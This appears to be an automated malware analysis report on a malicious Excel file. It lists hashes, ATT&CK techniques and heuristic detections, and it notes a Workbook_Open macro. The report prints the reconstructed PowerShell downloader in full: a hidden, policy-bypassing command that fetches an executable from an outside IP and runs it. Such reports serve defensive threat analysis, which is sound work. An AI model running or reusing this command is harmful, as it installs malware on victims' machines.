Office (OLE) / .XLS malware analysis — malicious · 1b4a1be297a5c8de

MALICIOUS

Office (OLE) / .XLS

452.0 KB Created: 2020-10-13 22:33:22

MD5: 8c1f5ce530a407f71207e6f476e8030f SHA-1: dcdd7271b42a54f5d43455b2f5191959972c4369 SHA-256: 1b4a1be297a5c8deb768af5daf68b5264abc66f480519be7eac60838e85b3434

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro fires, indicating automatic execution upon opening the spreadsheet. The embedded PowerShell command is reconstructed as: powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://35.178.75.69/8/907840.jpg -OutFile C:\Users\Public\Videos\cybtfsv.exe}; & {Start-Process -FilePath \"C:\Users\Public\Videos\cybtfsv.exe\"}". This command downloads a file from http://35.178.75.69/8/907840.jpg to C:\Users\Public\Videos\cybtfsv.exe and then executes it. This indicates the document is a downloader for a second-stage payload.

Heuristics 7

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND

Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://35.178.75.69/8/907840.jpg

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `e955038ece6d76512ab6494536a976618e64d2a5afbbf911e528fb69f64b62db`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1776 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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